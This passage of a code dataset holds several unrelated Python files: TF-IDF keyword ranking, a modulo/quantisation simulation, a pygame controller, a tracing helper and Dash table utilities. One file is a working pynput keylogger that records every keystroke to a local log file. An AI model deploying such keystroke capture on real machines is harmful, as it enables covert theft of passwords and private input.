\n \"\"\".format(user_name=c['user_name'], like_count=\"[{}赞]\".format(c['like_count']) if c['like_count'] else '',\n comment_content=c['comment_content'],\n comment_time=self._timestamp2str(c['comment_ctime']), replies=replies_html)\n return c_html\n\n def _render_comment_html(self, comments, comment_count):\n if not comments:\n return ''\n\n count = min(len(comments), int(comment_count))\n comments = comments[:count]\n\n html = '\\n \\n'.join([\n self._render(c)\n for c in comments\n ])\n h = \"\"\"
精选留言:
\n
\n \"\"\"\n f = '
'\n return h + html + f\n\n\nclass EbookBatch(EBook):\n \"\"\"批量制作电子书\n 懒, 不想写参数了\n \"\"\"\n\n def run(self, args):\n if '--all' in args:\n dc = DataClient()\n data = dc.get_course_list()\n\n for i in [1, 2]:\n for c in data[str(i)]['list']:\n if not c['had_sub']:\n continue\n if True:\n # if c['update_frequency'] == '全集':\n try:\n super(EbookBatch, self).run([str(c['id'])] + args)\n print('\\n')\n except Exception as e:\n print(e)\n # else:\n # super(EbookBatch, self).run([str(c['id']), '--source-only'] + args)\n # print('\\n')\n\n else:\n course_ids = args[0]\n cid_list = course_ids.split(',')\n\n for cid in cid_list:\n super(EbookBatch, self).run([cid.strip()] + args)\n print('\\n')\n","sub_path":"geektime_dl/cli/ebook.py","file_name":"ebook.py","file_ext":"py","file_size_in_byte":9218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"456207534","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# from nltk.tokenize import WordPunctTokenizer\nfrom nltk.text import TextCollection\nfrom nltk import ngrams, FreqDist\nimport math\n\n\n# 构造tf-idf corpus (word为单位)\ndef get_corpus_word(all_abs):\n all_abs = [abs.split(' ') for abs in all_abs] # 对所有摘要分词\n corpus = TextCollection(all_abs)\n return corpus\n\n\n# 计算一篇摘要的所有词的tf-idf (以word为单位)\ndef tf_idf_abs(abstract, corpus):\n # abstract = set(abstract.split(' ')) # 对摘要分词\n abstract = set(abstract)\n tf_idf_list = [corpus.tf_idf(word, abstract) for word in abstract]\n return tf_idf_list\n\n\n# 计算n篇摘要的所有词的tf-idf (以word为单位)\ndef tf_idf_abs_all(all_abstract, corpus):\n all_tf_idf = [tf_idf_abs(abs, corpus) for abs in all_abstract]\n return all_tf_idf\n\n # tokenzer = WordPunctTokenizer()\n # all_abstract = [tokenzer.tokenize(abs) for abs in all_abstract] # 对所有摘要分词\n # for abs in all_abstract:\n # tf_idf_list = []\n # for word in abs:\n # # tf = corpus.tf(word,corpus)\n # # idf = corpus.idf(word)\n # tf_idf = corpus.tf_idf(word,corpus)\n # # print(word,': tf=',tf,' idf=',idf,' tf-idf=',tf_idf)\n # tf_idf_list.append(tf_idf)\n # # all_tf_idf.append([abs,tf_idf_list])\n # all_tf_idf.append(tf_idf_list)\n # return all_tf_idf\n\n\n# 统计一篇文档的关键词(整个词组)的tf—idf corpus以word为单位\ndef tf_idf_kw(keywords, corpus):\n tf_idf_dict = {}\n for kw in keywords:\n tf_idf = corpus.tf_idf(kw,corpus)\n tf_idf_dict.update({kw : tf_idf})\n return tf_idf_dict\n\n\n# n_gram\n# 获取单文本的n_gram\n# text:分词后的结果\ndef n_gram(text,n):\n # text = text.split(' ')\n n_grams = ngrams(text,n)\n return [n_gram for n_gram in n_grams]\n\n\n# 获取n篇摘要的n_gram\ndef get_n_gram_list(abs_list, n):\n return [n_gram(abs,n) for abs in abs_list]\n\n\n# 构造corpus n_gram\ndef get_corpus_ngram(n_gram_list):\n return TextCollection(n_gram_list)\n\n\n# 计算一篇摘要的所有词的tf-idf (以n_gram为单位)\ndef tf_idf_abs_n_gram(abs_n_grams, corpus_ngram):\n # for n_gram in set(abs_n_grams):\n # tfidf = corpus_ngram.tf_idf(n_gram,abs_n_grams)\n # print(n_gram,': ', tfidf )\n return [corpus_ngram.tf_idf(n_gram, abs_n_grams) for n_gram in set(abs_n_grams)]\n\n\n\n# 计算n篇摘要的所有词的tf-idf (以n_gram为单位)\ndef tf_idf_abs_all_n_gram(abs_n_gram_list, corpus_ngram):\n return [tf_idf_abs_n_gram(abs_n_grams,corpus_ngram) for abs_n_grams in abs_n_gram_list]\n\n\n# 统计一篇文档的关键词(整个词组)的tf—idf corpus以n_gram为单位\n# ('This', 'paper') ======kw处理成这种格式\ndef tf_idf_kw_n_gram(keywords, corpus_ngram):\n tf_idf_dict = {}\n for kw in keywords:\n kw = tuple([term for term in kw.split(' ')])\n tf_idf = corpus_ngram.tf_idf(kw,corpus_ngram)\n tf_idf_dict.update({kw : tf_idf})\n return tf_idf_dict\n\n\n# 获取一篇文档的关键词在摘要中的tf-idf排名\ndef get_kw_rank(kw_tfidf_dict, tf_idf_abs):\n kw_rank_dict = {}\n # abstract中词的tf - idf去重\n tf_idf_abs = list(set(tf_idf_abs))\n # abstract中词的tf-idf值降序排序\n tf_idf_abs.sort(reverse=True)\n for keyword in kw_tfidf_dict:\n rank = 0\n kw_tfidf = kw_tfidf_dict.get(keyword)\n if kw_tfidf not in tf_idf_abs:\n for tfidf in tf_idf_abs:\n if tfidf > kw_tfidf:\n continue\n else:\n rank = tf_idf_abs.index(tfidf) + 1 # 取第一个比关键词小的index+1作为其rank\n break\n else:\n rank = tf_idf_abs.index(kw_tfidf) + 1\n kw_rank_dict.update({keyword: rank})\n return kw_rank_dict\n\n\n# 获取n篇文档的关键词在摘要中的tf-idf排名\ndef get_kw_rank_all(kw_tfidf_dict_list,tf_idf_abs_list):\n for i in range(len(kw_tfidf_dict_list)):\n try:\n get_kw_rank(kw_tfidf_dict_list[i], tf_idf_abs_list[i])\n except ValueError :\n print(kw_tfidf_dict_list[i])\n print(tf_idf_abs_list[i])\n\n return [get_kw_rank(kw_tfidf_dict_list[i], tf_idf_abs_list[i]) for i in range(len(tf_idf_abs_list))]\n\n\n# 获取n篇abstract的tfidf set的长度\ndef get_abs_tfidf_set_num(tf_idf_abs_list):\n return [len(set(tfidf_abs)) for tfidf_abs in tf_idf_abs_list]\n\n\n\n# 自定义tf-idf\n# # 以n_gram为单位计算tf\n# def tf(word, n_grams):\n# count = FreqDist(n_grams)\n# return count[word] / sum(count.values())\n#\n#\n# # 以n_gram为单位计算df\n# def n_containing(word, n_gram_list):\n# count_list = [FreqDist(n_grams) for n_grams in n_gram_list]\n# return sum(1 for count in count_list if word in count)\n#\n#\n# # 以n_gram为单位计算idf\n# def idf(word, n_gram_list):\n# count_list = [FreqDist(n_grams) for n_grams in n_gram_list]\n# return math.log(len(count_list) / (1 + n_containing(word, count_list)))\n#\n# # 以n_gram为单位计算tf-idf\n# def tfidf(word, n_grams, n_gram_list):\n# return tf(word, n_grams) * idf(word, n_gram_list)\n#\n#\n# # 计算一篇摘要的所有词的tf-idf (以n_gram为单位)\n# def tf_idf_abs_n_gram(abs_n_grams, abs_n_gram_list):\n# return [tfidf(n_gram, abs_n_grams, abs_n_gram_list) for n_gram in abs_n_grams]\n#\n#\n# # 计算n篇摘要的所有词的tf-idf (以n_gram为单位)\n# def tf_idf_abs_all_n_gram(abs_n_gram_list):\n# return [tf_idf_abs_n_gram(abs_n_grams,abs_n_gram_list) for abs_n_grams in abs_n_gram_list]\n#\n#\n# # 统计一篇文档的关键词(整个词组)的tf—idf corpus以n_gram为单位\n# def tf_idf_kw_n_gram(keywords, abs_n_grams,abs_n_gram_list):\n# tf_idf_dict = {}\n# for kw in keywords:\n# tf_idf = tfidf(kw,abs_n_grams,abs_n_gram_list)\n# tf_idf_dict.update({kw : tf_idf})\n# return tf_idf_dict","sub_path":"static_count/tf_idf.py","file_name":"tf_idf.py","file_ext":"py","file_size_in_byte":5906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"304128210","text":"#!/usr/bin/python3\r\n'''\r\nthis script is:\r\n generating all combinations of A\r\n in loop:\r\n randomizing data det\r\n getting few samples from data\r\n for each A:\r\n deciding by tails of the samples if A is good\r\n deciding by A*cov*A if A is good\r\n checking errors\r\n'''\r\nimport pandas as pd\r\nimport numpy as np\r\nimport itertools,random\r\nfrom optparse import OptionParser\r\n\r\nparser = OptionParser()\r\nparser.add_option(\"-n\",\"\", dest=\"samples\", type=\"int\", default=2,help='number of dots X2 because you have x and y. for example 1000. you better use 5')\r\nparser.add_option(\"-s\",\"\", dest=\"simulations\", type=\"int\", default=10,help='number of simulations, for example 50. you better use 400')\r\nparser.add_option(\"-b\",\"\", dest=\"bins\", type=\"int\", default=200,help='number of bins, for example 200')\r\nparser.add_option(\"-t\",\"\", dest=\"threshold\", type=\"float\", default=2.5,help='this threshold is for deciding if data is U or N, by checking if there are samples over the threshold. this defines the tail size. bigger number will result of more detecting output as N')\r\nparser.add_option(\"-m\",\"\", dest=\"A_max_num\", type=\"int\", default=2,help='A max number for example for 2 you can get [[-2,1],[2,0]]. for number 10, you will get 189,776 options at A. at 5 you will have 13608. . you better use 10')\r\nparser.add_option(\"-o\", dest=\"different_cov\", help=\"if set, using same cov matrix for all simulations\", default=False, action=\"store_true\")\r\n(u,args)=parser.parse_args()\r\n\r\nif 0:\r\n u.samples=10\r\n u.A_max_num=8\r\n u.threshold=1.3\r\n\r\ndef rand_cov():\r\n m=np.matrix(np.random.normal(0,1,[2,2]))\r\n m=m.T*m\r\n '''now changing the cov det to 1 but you can skip it'''\r\n # m=m/np.sqrt(np.linalg.det(m))\r\n m = m / np.random.uniform(3*np.sqrt(np.linalg.det(m)), np.sqrt(np.linalg.det(m)))\r\n return np.mat(m)\r\n\r\ndef rand_A(max_det):\r\n done=0\r\n while not done:\r\n A=np.random.randint(-10,10,[2,2])\r\n if np.abs(np.linalg.det(A))0.5:\r\n done=1\r\n return np.mat(A)\r\n\r\ndef hist_plot(df,title):\r\n sns.jointplot(data=df, x=\"X\", y=\"Y\",xlim=[-4.4,4.4],ylim=[-4.4,4.4])#,ax=axes.pop())#, kind=\"kde\"\r\n plt.subplots_adjust(top=0.9)\r\n plt.suptitle(title)\r\n\r\n\r\n\r\n\r\n\r\ndef random_data(cov,samples):\r\n xy=pd.DataFrame(np.random.multivariate_normal([0,0], cov, samples),columns=['X','Y'])\r\n return xy\r\ndef sign_mod(xy,modulo_size_edge_to_edge):\r\n xy=xy.copy()\r\n xy+=modulo_size_edge_to_edge/2.0\r\n xy=xy.mod(modulo_size_edge_to_edge)-modulo_size_edge_to_edge/2.0\r\n xy.columns=['X','Y']\r\n return xy\r\ndef quantize(xy,modulo_size_edge_to_edge,number_of_bins):\r\n hlf=modulo_size_edge_to_edge/2.0\r\n bins = np.linspace(-hlf, hlf, number_of_bins+1)\r\n center = (bins[:-1] + bins[1:]) / 2 # which is also (q[:-1]+(q[1]-q[0])/2)\r\n bins[0] = -float(\"inf\") # otherwise the values outside the bins will get NaN\r\n bins[-1] = float(\"inf\")\r\n df=pd.DataFrame()\r\n df['X'] = pd.cut(xy.X, bins, labels=center).astype(float)\r\n df['Y'] = pd.cut(xy.Y, bins, labels=center).astype(float)\r\n return df\r\n\r\n\r\n\r\nmodulo_size_edge_to_edge=8.8\r\nsamples=u.samples\r\nbins=u.bins\r\nthreshold=u.threshold\r\n\r\n# cases=\"----inputs cases----\\nA:\\n%s\\ncov:\\n%s\\nmodulo_size_edge_to_edge:\\n%s\\nsamples:\\n%s\"%(str(A),str(cov),str(modulo_size_edge_to_edge),str(samples))\r\n# print (cases)\r\n# print (\"inputs:\")\r\n# print (\"A:\\n\"+str(A))\r\n# print (\"cov:\\n\"+str(cov))\r\n# print (\"modulo_size_edge_to_edge:\\n\"+str(modulo_size_edge_to_edge))\r\n# print (\"samples:\\n\"+str(samples))\r\n\r\n\r\ndef run_all_A_on_cov(cov,all_A):\r\n misdetecting_N_as_U = 0\r\n misdetecting_U_as_N = 0\r\n good_A = 0\r\n good_N_detection = 0\r\n\r\n df_original = random_data(cov, u.samples)\r\n df_mod1=sign_mod(df_original,modulo_size_edge_to_edge)\r\n df_quant=quantize(df_mod1,modulo_size_edge_to_edge,bins)\r\n results=[]\r\n for A in all_A:\r\n df_A=df_quant.dot(A)\r\n df_A.columns=['X','Y']\r\n df_mod2=sign_mod(df_A,modulo_size_edge_to_edge)\r\n df_AI=df_mod2.dot(A.I)\r\n df_AI.columns=['X','Y']\r\n\r\n output_cov=A.T*cov*A\r\n # xy_mse=pd.DataFrame([(df_AI-df_original).X.var(),(df_AI-df_original).Y.var()],index=['X','Y'],columns=[bins]).T\r\n true_good_A=(output_cov[0,0]<1.1 and output_cov[1,1]<1.1)\r\n good_A_by_tail=sum(pd.cut(df_mod2.head(u.samples).stack().values, [-float(\"inf\"), -threshold, threshold, float(\"inf\")], labels=[2, 0, 1]))==0\r\n good_A+=true_good_A\r\n if true_good_A==good_A_by_tail and true_good_A:\r\n good_N_detection+=1\r\n if true_good_A!=good_A_by_tail:\r\n misdetecting_N_as_U+=true_good_A\r\n misdetecting_U_as_N+=good_A_by_tail\r\n if 0:\r\n print(output_cov.round(10))\r\n print(A.round(10))\r\n print(\"true_good_A:%s, good_A_by_tail:%s\"%(true_good_A,good_A_by_tail) )\r\n print(df_mod2.set_index('X'))\r\n df_mod2.set_index('X').plot(style='.')\r\n plt.show()\r\n print(\"*\"*30)\r\n # print({'misdetecting_as_U':\"%5d\"%misdetecting_as_U,'misdetecting_as_N':\"%5d\"%misdetecting_as_N,'good_A':\"%5d\"%good_A,'sqrt_cov_det':\"%3s\"%str(np.sqrt(np.linalg.det(cov)).round(2)),'prsn':\"%3s\"%str((cov[1,0]/np.sqrt(cov[0,0]*cov[1,1])).round(2)),'cov':str(cov.round(2))})\r\n return {'sqrt_cov_det':np.sqrt(np.linalg.det(cov)),'prsn':cov[1,0]/np.sqrt(cov[0,0]*cov[1,1]),'good_A':good_A,'good_N_detection':100.0*good_N_detection/good_A,'misdetecting_N_as_U':misdetecting_N_as_U,'misdetecting_U_as_N':misdetecting_U_as_N,'cov':cov.round(3)}\r\n\r\nn=u.A_max_num\r\na=range(-n,n+1)\r\na=[a,a,a,a]\r\nall_A=[np.mat(i).reshape(2,2) for i in list(itertools.product(*a))]\r\n# all_A=[i for i in all_A if round(np.linalg.det(i))==2 and list(i.A1).count(0)<2 and round(np.linalg.det(i))]\r\nall_A=[i for i in all_A if list(i.A1).count(0)<2 and round(np.linalg.det(i))]\r\n# random.shuffle(all_A)\r\nprint(\"we have %0d A\"%len(all_A))\r\n\r\n# all_A=[np.mat([[1,2],[-3,-4]]),np.mat([[1,2],[3,-2]])]\r\n\r\nall=[]\r\nfor i in range(u.simulations):\r\n cov = rand_cov()\r\n # cov = all_A[0].T.I * (all_A[0].I)\r\n outputs=run_all_A_on_cov(cov,all_A)\r\n print(outputs)\r\n all+=[outputs]\r\ndf=pd.DataFrame(all).round(2)\r\ndf=df.reindex_axis([i for i in df.columns if i!='cov']+['cov'],axis=1)\r\ndf.to_excel(\"all results_n_%d_t_%g_m_%d.xlsx\"%(u.samples,u.threshold,u.A_max_num))","sub_path":"code/results/full system/3. tail error misdetection U N find A.py","file_name":"3. tail error misdetection U N find A.py","file_ext":"py","file_size_in_byte":6449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"79489850","text":"import pygame\nimport sys\nfrom pygame.locals import *\nclass Controller ():\n \n def __init__(self):\n pygame.key.set_repeat(30, 50)\n self.bombkey_down = 0;\n def handle_keyboard_input(self, player):\n\n if player.state.alive is False: return\n\n self = self\n# @todo: Pruefen, ob diese Methode nicht besser zum Spiel passt !!!\n# speichert die gedrueckten Tasten im Dictionary ,\n# kann geholt werden mit actionkeys[pygame.K_LEFT], etc.\n# actionkeys = pygame.key.get_pressed()\n# print actionkeys\n\n for e in pygame.event.get():\n \n if e.type == QUIT:\n player.game.gameRunning = False\n # @todo: hier eine spiel beenden methode aufrufen\n pygame.quit()\n sys.exit()\n elif e.type == KEYDOWN:\n \n if e.key == K_ESCAPE:\n player.game.gameRunning = False\n pygame.quit()\n sys.exit()\n \n elif e.key == K_SPACE:\n# print player.game.debug\n if player.state.standing or player.state.is_at_ladder:\n \n if not player.state.jumping:\n player.movement[1] -= player.speed * 2.5\n player.state.change_to_jumping()\n# \n \n elif e.key == K_UP:\n if player.state.is_at_ladder:\n player.movement[1] = -player.speed\n player.face_up()\n else:\n if player.state.standing and not player.state.jumping and not player.state.falling:\n# if player.state.standing and not player.state.falling:\n player.movement[1] -= player.speed * 2.5\n player.state.change_to_jumping()\n \n elif e.key == K_DOWN:\n if player.state.is_at_ladder:\n player.movement[1] = player.speed\n player.face_down()\n player.state.change_to_climbing()\n elif player.state.standing and self.bombkey_down < pygame.time.get_ticks():\n player.placeTNT()\n self.bombkey_down = pygame.time.get_ticks() + 1500;\n \n elif e.key == K_LEFT:\n player.face_left()\n player.state.movement_key_pressed = True\n \n if player.state.falling and not player.state.jumping:\n player.movement[0] = -player.speed / 2\n else:\n player.movement[0] = -player.speed\n \n if not player.state.can_walk_left:\n# print \"cannot walk left\"\n player.movement[0] = 0\n \n \n \n elif e.key == K_RIGHT:\n player.face_right()\n player.state.movement_key_pressed = True\n \n if player.state.falling and not player.state.jumping:\n player.movement[0] = player.speed / 2\n else:\n player.movement[0] = player.speed\n \n if not player.state.can_walk_right:\n# print \"cannot walk right\"\n player.movement[0] = 0\n \n \n \n elif e.type == KEYUP:\n if e.key == K_UP or e.key == K_DOWN:\n player.movement[1] = 0\n \n elif e.key == K_LEFT or e.key == K_RIGHT:\n player.movement[0] = 0\n player.state.movement_key_pressed = False\n\n \n","sub_path":"src/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":3970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"131309950","text":"import pynput\n\nfrom pynput.keyboard import Key, Listener\n\ncount=0\nkeys=[]\n\ndef on_press(key):\n global count, keys\n keys.append(key)\n count=count+1\n if count>=10:\n count=0\n write_file(keys)\n keys=[]\n\n\ndef write_file(keys):\n with open(\"./log.txt\",\"a\") as f:\n for key in keys:\n k=str(key).replace(\"'\",\"\")\n if k.find(\"space\") > 0:\n f.write(\"\\n\")\n elif k.find(\"Key\") == -1:\n f.write(k)\n \n\ndef on_release(key):\n if key == Key.esc:\n return False\n\nwith Listener(on_press=on_press, on_release=on_release) as listener:\n listener.join()\n\n# this is a test program please enter your password : hello_world please enter your pincode : 5623456","sub_path":"keylogger/keylogger_exe.py","file_name":"keylogger_exe.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"178330180","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport sys\n\n#sys.path.insert(0, dirpath)\n#from hotswap import roc\n#from finding import findobjectpath\n#from tracing import trac\nprint(\"NNNAAAA\", __name__)\nfrom debtools.breaking import breakpoint\n#del sys.path[0]\nimport pickle\n\n#from .breaking import breakpoint\nfrom debtools.common import G\n\nold_count = 0\nFNAME = \"/tmp/mic_tracdata.pkl\"\n\ndef gettrac():\n o = pickle.load(open(FNAME,\"rb\"))\n return o\n\ndef trac():\n G.tracdata = []\n\n def trace_calls(frame, event, arg):\n if event != 'call':\n return\n co = frame.f_code\n func_name = co.co_name\n if func_name == 'write':\n return\n func_line_no = frame.f_lineno\n func_filename = co.co_filename\n caller = frame.f_back\n caller_line_no = caller.f_lineno\n caller_filename = caller.f_code.co_filename\n dat = G.tracdata\n dat.append((\n func_line_no,\n func_filename,\n #caller,\n caller_line_no,\n caller_filename,\n ))\n n = len(dat)\n global old_count\n if n > old_count + 2000:\n print(\"dumping\")\n f = open(FNAME, \"wb\")\n pickle.dump(dat, f)\n old_count = n\n\n #if \"offline\" in func_name or True:\n if \"offline\" in func_name:\n #print()\n #sys.settrace.__self__.Stop()\n #raise RuntimeError(\"blabla\")\n #import pdb; pdb.set_trace()\n #sys.settrace(print)\n #breakpoint(nback=2)\n #print(\"CALL\", func_name)\n\n print(\"***** FOUND FUNC CALL\")\n print(\"func name %s()\"%func_name)\n print(\"func lineno \", func_line_no)\n print(\"file \", func_filename)\n print(\"caller \", caller_filename)\n print(\"caller lineno \", caller_line_no)\n\n if False:\n input(\"press enter\")\n #import time\n #time.sleep(10)\n else:\n return\n\n print(\n 'Call to %s on line %s of %s from line %s of %s' % (\n func_name,\n func_line_no,\n func_filename,\n caller_line_no,\n caller_filename\n )\n )\n return\n\n #if False:\n if True:\n dd.settrace(trace_calls)\n else:\n sys.settrace(trace_calls)\n #try:\n #sys.settrace(trace_calls)\n #except RuntimeError as e:\n #print(e)\n","sub_path":"tracing.py","file_name":"tracing.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"134433705","text":"#\nimport os\nimport pandas as pd\n\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_table\nimport dash_bootstrap_components as dbc\n\nimport sanpy\n\nboxBorder = \"1px gray solid\"\n\ndef getFileList(path):\n\t\"\"\"\n\tGet list of bAnalysis from path\n\n\tReturns:\n\t\tlist of bAnalysis\n\t\"\"\"\n\tbaList = []\n\tretFileList = []\n\tuseExtension = '.abf'\n\tvideoFileIdx = 0\n\n\tfileDict = {}\n\tfileDict['Type'] = 'file'\n\tfileDict['File Name'] = ''\n\t#fileDict['path'] = ''\n\tfileDict['kHz'] = ''\n\tfileDict['Duration (Sec)'] = ''\n\tfileDict['Number of Sweeps'] = ''\n\terror = False\n\tif not os.path.isdir(path):\n\t\t# ERROR\n\t\terror = True\n\n\tif not error:\n\t\tfor file in os.listdir(path):\n\t\t\tif file.startswith('.'):\n\t\t\t\tcontinue\n\t\t\tif file.endswith(useExtension):\n\t\t\t\tfullPath = os.path.join(path, file)\n\n\t\t\t\tfileDict = {} # WOW, I need this here !!!!!!!!\n\t\t\t\tfileDict['Type'] = 'file'\n\t\t\t\tfileDict['File Name'] = file\n\t\t\t\t#fileDict['path'] = fullPath\n\n\t\t\t\tba = sanpy.bAnalysis(file=fullPath)\n\n\t\t\t\tbaList.append(ba)\n\t\t\t\t'''\n\t\t\t\tif videoFileIdx == 0:\n\t\t\t\t\tprint(ba.abf.headerText)\n\t\t\t\t\tsweepUnitsC # what we are clamping (mV, pA)\n\t\t\t\t\tsweepUnitsX\n\t\t\t\t\tsweepUnitsY\n\t\t\t\t'''\n\n\t\t\t\t# TODO: get this from bAnalysis header\n\t\t\t\tbaHeader = ba.api_getHeader()\n\t\t\t\trecording_kHz = baHeader['recording_kHz'] #ba.dataPointsPerMs\n\t\t\t\tnumSweeps = len(ba.sweepList)\n\t\t\t\trecordingDur_sec = baHeader['recordingDur_sec'] #max(ba.abf.sweepX)\n\n\t\t\t\tfileDict['kHz'] = recording_kHz\n\t\t\t\tfileDict['Duration (Sec)'] = round(recordingDur_sec,3)\n\t\t\t\tfileDict['Number of Sweeps'] = numSweeps\n\n\t\t\t\tretFileList.append(fileDict)\n\t\t\t\tvideoFileIdx += 1\n\t#\n\tif len(retFileList) == 0:\n\t\tretFileList.append(fileDict)\n\n\tdf = pd.DataFrame(retFileList)\n\n\treturn df, baList\n\ndef makeCheckList(id, itemList, defaultItem=None):\n\toptions = [{'label': x, 'value': x} for x in itemList]\n\tret = dcc.Checklist(\n\t\tid=id,\n\t\tpersistence = True,\n\t\toptions=options,\n\t\tvalue=[itemList[0]],\n\t\t#labelStyle={'display': 'inline-block'}\n\t\tlabelStyle={\"margin-right\": \"15px\"}, # adds space between options list\n\t\tinputStyle={\"margin-right\": \"5px\"}, # adds space between check and its label\n\t), # Checklist\n\treturn ret\n\n# todo: put this is myDashUtil.py\ndef makeTable(id, df, height=200, row_selectable='single', defaultRow=0):\n\t\"\"\"\n\tdefaultRow: row index selected on __init__\n\t\"\"\"\n\tif df is None:\n\t\tstatDict = {'tmp':'empty'}\n\t\tdf = pd.DataFrame(columns=['Idx', 'Error'])\n\t\t#df['idx'] = [i for i in range(len(statDict.keys()))]\n\t\t#df['error'] = [x for x in statDict.keys()]\n\n\t#\n\tcolumns=[{\"name\": i, \"id\": i} for i in df.columns]\n\tdata=df.to_dict('records')\n\n\tret = dash_table.DataTable(\n\t\tid=id,\n\t\tpersistence = True,\n\t\tcolumns=columns,\n\t\tdata=data,\n\t\trow_selectable=row_selectable,\n\t\tfixed_rows={'headers': True}, # on scroll, keep headers at top\n\t\tselected_rows = [defaultRow], # default selected row\n\t\tstyle_header={\n\t\t\t'backgroundColor': 'rgb(30, 30, 50)',\n\t\t\t'fontWeight': 'bold',\n\t\t},\n\t\tstyle_cell={\n\t\t\t'textAlign': 'left',\n\t\t\t'fontSize':11, 'font-family':'sans-serif',\n\t\t\t'color': 'white', # dark theme\n\t\t\t'backgroundColor': 'rgb(30, 30, 30)',# dark theme\n\t\t\t},\n\t\tstyle_data_conditional=[\n\t\t\t{\n\t\t\t'if': {'row_index': 'odd'},\n\t\t\t#'backgroundColor': 'rgb(50, 50, 50)' # dark theme\n\t\t\t'backgroundColor': 'rgb(50, 50, 50)' # light theme\n\t\t\t}\n\t\t],\n\t\t# CSS styles to be applied to the outer table container\n\t\tstyle_table={\n\t\t\t'height': height, # hard coding height\n\t\t\t'overflowX': 'auto',\n\t\t\t'overflowY': 'auto',\n\t\t\t#'width': width\n\t\t}\n\t)\n\treturn ret\n\ndef old_test_requests():\n\t\"\"\"\n\tthis gets all files, including\n\n\thttps://api.github.com/repos/cudmore/SanPy/git/trees/master?recursive=1\n\n {\n \"path\": \"data\",\n \"mode\": \"040000\",\n \"type\": \"tree\",\n \"sha\": \"8b97ef351ea95308b524b6febb2890f000b86388\",\n \"url\": \"https://api.github.com/repos/cudmore/SanPy/git/trees/8b97ef351ea95308b524b6febb2890f000b86388\"\n },\n {\n \"path\": \"data/171116sh_0018.abf\",\n \"mode\": \"100644\",\n \"type\": \"blob\",\n \"sha\": \"5f3322b08d86458bf7ac8b5c12564933142ffd17\",\n \"size\": 2047488,\n \"url\": \"https://api.github.com/repos/cudmore/SanPy/git/blobs/5f3322b08d86458bf7ac8b5c12564933142ffd17\"\n },\n\n\tThen this url:\n\thttps://api.github.com/repos/cudmore/SanPy/git/blobs/5f3322b08d86458bf7ac8b5c12564933142ffd17\n\treturns a dict d{} with\n\n\t{\n\t \"sha\": \"5f3322b08d86458bf7ac8b5c12564933142ffd17\",\n\t \"node_id\": \"MDQ6QmxvYjE3MTA2NDA5Nzo1ZjMzMjJiMDhkODY0NThiZjdhYzhiNWMxMjU2NDkzMzE0MmZmZDE3\",\n\t \"size\": 2047488,\n\t \"url\": \"https://api.github.com/repos/cudmore/SanPy/git/blobs/5f3322b08d86458bf7ac8b5c12564933142ffd17\",\n\t \"coontent\": \"\"\n\t \"encoding\": \"base64\"\n\t }\n\n\thttps://api.github.com/repos/:owner/:repo_name/contents/:path\n\n\t\"\"\"\n\timport requests\n\timport io\n\n\t# this works\n\t'''\n\turl = \"https://github.com/cudmore/SanPy/blob/master/data/19114001.abf?raw=true\"\n\t# Make sure the url is the raw version of the file on GitHub\n\tdownload = requests.get(url).content\n\t'''\n\n\towner = 'cudmore'\n\trepo_name = 'SanPy'\n\tpath = 'data'\n\turl = f'https://api.github.com/repos/{owner}/{repo_name}/contents/{path}'\n\tresponse = requests.get(url).json()\n\tprint('response:', type(response))\n\t#print(response.json())\n\tfor idx, item in enumerate(response):\n\t\tif not item['name'].endswith('.abf'):\n\t\t\tcontinue\n\t\tprint(idx)\n\t\t# use item['git_url']\n\t\tfor k,v in item.items():\n\t\t\tprint(' ', k, ':', v)\n\n\t#\n\t# grab the first file\n\t#gitURl = response[0]['git_url']\n\t'''\n\tprint(' === gitURL:', gitURL)\n\t#download = requests.get(gitURl).content\n\tdownloadRespoonse = requests.get(gitURL).json()\n\tprint(' downloadRespoonse:', type(downloadRespoonse))\n\tcontent = downloadRespoonse['content']\n\t#print(' ', downloadRespoonse)\n\t#decoded = download.decode('utf-8')\n\t#print(' decoded:', type(decoded))\n\t'''\n\n\t# use response[0]['download_url'] to directly download file\n\t#gitURL = 'https://raw.githubusercontent.com/cudmore/SanPy/master/data/SAN-AP-example-Rs-change.abf'\n\tdownload_url = response[1]['download_url']\n\tcontent = requests.get(download_url).content\n\n\t#import base64\n\t#myBase64 = base64.b64encode(bytes(content, 'utf-8'))\n\t#myBase64 = base64.b64encode(bytes(content, 'base64'))\n\t'''\n\tmyBase64 = base64.b64encode(bytes(content, 'utf-8'))\n\tprint('myBase64:', type(myBase64))\n\t'''\n\t#decoded = content.decode('utf-8')\n\t#print(download)\n\t#import pyabf\n\tfileLikeObject = io.BytesIO(content)\n\tba = sanpy.bAnalysis(byteStream=fileLikeObject)\n\tprint(ba._abf)\n\tprint(ba.api_getHeader())\n\nif __name__ == '__main__':\n\t#test_requests()\n\tpass\n\t\n","sub_path":"dash/myDashUtils.py","file_name":"myDashUtils.py","file_ext":"py","file_size_in_byte":6474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
